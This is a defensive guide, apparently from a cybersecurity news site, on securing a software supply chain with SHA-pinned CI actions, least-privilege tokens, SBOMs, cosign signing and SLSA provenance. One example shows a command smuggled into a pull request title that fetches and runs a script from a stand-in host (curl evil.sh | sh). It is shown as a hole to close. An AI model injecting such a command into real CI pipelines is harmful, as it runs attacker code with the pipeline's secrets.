Securing your software supply chain: locked-down CI, SBOMs and signed releases


SaveAdd to Google
Illustration: a chain link with a check mark

At a glance

Audience
Developers, DevOps & IT
Difficulty
Advanced
Time needed (minutes)
60 min
Last reviewed
Nov 22, 2026

What you need

  • A project built and released by a CI service (GitHub Actions, GitLab CI or similar)
  • Admin rights on the repository and the package or container registry
  • Command line tools: Syft, cosign and the GitHub CLI (all free)

Attackers have learned that the easiest way into thousands of companies is through the software they all trust. Poison a popular library, a build tool or a CI step, and every project that pulls it in does the attacker's work. Securing your software supply chain means being able to answer three questions about anything you ship: what is in it, who built it, and has it been changed since.

📋

Know what is in it

A software bill of materials for every release.

🏗️

Trust how it was built

A locked-down pipeline that records provenance.

✍️

Prove it was not changed

Signed artifacts, verified before they run.

Why this is not theoretical

  • SolarWinds (2020): attackers inside the vendor's build system slipped a backdoor into signed Orion updates that thousands of organizations installed, including government departments.
  • Codecov (2021): a modified upload script, run in customers' CI pipelines, sent their environment variables, including credentials, to the attackers.
  • xz Utils (2024, CVE-2024-3094): after two years of patient contributions, a maintainer account shipped a backdoor in release tarballs of a compression library used by SSH on many Linux systems. It was caught by chance, weeks before it reached most stable distributions.
  • tj-actions/changed-files (2025, CVE-2025-30066): a compromised GitHub Action, used by tens of thousands of repositories, was changed to print CI secrets into build logs. Every workflow that referenced it by a version tag ran the new code.

Your build pipeline is production. Anyone who can change it can change what your customers run.

1. Lock down your CI pipeline

The pipeline holds your most powerful secrets: deploy keys, signing keys, package registry tokens. Treat its configuration like production code. The examples use GitHub Actions; GitLab CI and others have the same ideas.

Pin third-party actions to a full commit SHA

❌ A tag can be moved to new code at any time

- uses: some-org/some-action@v4

✅ A commit SHA cannot

- uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v4.1.1

Keep the version in a comment so humans can read it, and let Dependabot or Renovate update the SHA with a pull request you review.

Give the workflow token the least rights

permissions:
  contents: read   # the default for every job in this workflow

jobs:
  release:
    permissions:
      contents: write   # only the job that publishes gets more
      id-token: write   # for keyless signing (below)

Also set the repository or organization default for the GITHUB_TOKEN to read-only, so a workflow without a permissions block cannot write.

Never pass untrusted text straight into a shell

❌ A pull request titled "; curl evil.sh | sh # runs code

- run: echo "Checking ${{ github.event.pull_request.title }}"

✅ Pass it through an environment variable

- run: echo "Checking $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

More rules that close the common holes

  • Be very careful with pull_request_target: it runs with secrets and write access, so never check out and build the pull request's own code in it.
  • Use OpenID Connect (OIDC) to get short-lived cloud credentials for each run, instead of storing long-lived cloud keys as secrets.
  • Protect the main branch and release tags: required reviews, required checks, no force-pushes.
  • Put deploy secrets in a protected environment that only runs from the main branch and, for production, needs a person's approval.
  • Run OpenSSF Scorecard on your repositories; it checks most of the above automatically.

2. Produce a software bill of materials

A software bill of materials (SBOM) is a machine-readable list of every component in a release, with versions. When the next xz-style alert lands, it lets you answer "are we affected?" in minutes instead of days. The two standard formats are CycloneDX and SPDX; most tools write both.

# From a source folder or a container image, with Syft
syft dir:. -o cyclonedx-json=sbom.cdx.json
syft registry.example.com/app:1.4.2 -o spdx-json=sbom.spdx.json

# npm can write one itself (npm 10 and later)
npm sbom --sbom-format cyclonedx > sbom.cdx.json

Generate it in the pipeline for every release, store it with the release, and scan it daily with a tool such as Grype or OSV-Scanner. A scan of yesterday's SBOM catches flaws disclosed today, without rebuilding.

3. Sign what you ship, and record how it was built

A signature proves an artifact has not changed since it was signed. Provenance goes further: a signed statement of which source commit, which workflow and which builder produced it. The SLSA framework (Supply-chain Levels for Software Artifacts) grades this: at Build Level 2 provenance is signed by a hosted build service, and at Level 3 the build platform is hardened so that even the project's own workflow cannot forge it.

  1. Sign container images without managing keys. Sigstore's cosign signs with the workflow's OIDC identity and records the signature in a public transparency log: cosign sign --yes registry.example.com/app@sha256:…
  2. Attach build provenance. On GitHub, the actions/attest-build-provenance action creates a signed SLSA provenance statement for each artifact.
  3. Publish packages with provenance. npm (npm publish --provenance) and PyPI (trusted publishing) link each release to the workflow that built it.
  4. Verify before you deploy. Your deploy step, or an admission controller in Kubernetes, refuses anything that does not verify.
# Only accept images signed by our release workflow
cosign verify registry.example.com/app@sha256:… \
  --certificate-identity "https://github.com/example/app/.github/workflows/release.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com"

# Or check a GitHub artifact attestation
gh attestation verify app.tar.gz --repo example/app

Deploy by digest, not by tag

Reference images as app@sha256:… in production manifests. A tag such as app:latest or even app:1.4.2 can be pushed again; a digest always means the same bytes.

4. Be choosy about what you depend on

  • Watch for typosquats and dependency confusion. Scope internal package names (@yourcompany/…) and configure your package manager so internal names can only come from your private registry.
  • Check a new dependency before adding it: who maintains it, how active it is, its Scorecard result, and whether a few lines of your own code would do.
  • Turn off install scripts where you can (npm ci --ignore-scripts in CI, then allow only the packages that truly need them).
  • Mirror or proxy your registries, so a package deleted or replaced upstream does not break or change your builds.

Supply chain checklist

  • Third-party CI actions pinned to commit SHAs, updated by pull request
  • Workflow tokens read-only by default; cloud access through OIDC
  • Branch and tag protection on, with required reviews
  • An SBOM generated, stored and scanned for every release
  • Release artifacts signed, with build provenance attached
  • Deploys verify signatures and use digests

▲ Why it matters in Canada

Buyers are starting to ask. The Canadian Centre for Cyber Security publishes guidance on supply chain risk for organizations that buy and build software, and federal and defence procurement increasingly expects suppliers to show how they secure what they deliver. United States federal rules already ask software vendors to attest to secure development practices, which affects Canadian companies selling there. An SBOM and signed releases are the easiest way to answer those questionnaires with evidence.

Keep learning

Start with the basics if you have not: find vulnerable dependencies and keep secrets out of your repository.

All guides for developers →

  • Supply chain security
  • CI/CD
  • SBOM
  • Sigstore
  • SLSA

Sources

Editor's Picks

The best of cybersecuritynews.ca, delivered to you weekly.

On Display
Linux

Linux KVM Flaw Lets Guest VMs Reach Host Memory on AMD Servers With Nested Virtualization

Sonic6

SonicWall Tells Customers to Pull Gen 6 Firewalls Off the Internet

Staples Canada says attackers accessed customer records on its Staples Print website between November 1 and 5, 2026.

Staples Canada Confirms Breach of Print Website, Customer Contact Details and Encrypted Passwords Exposed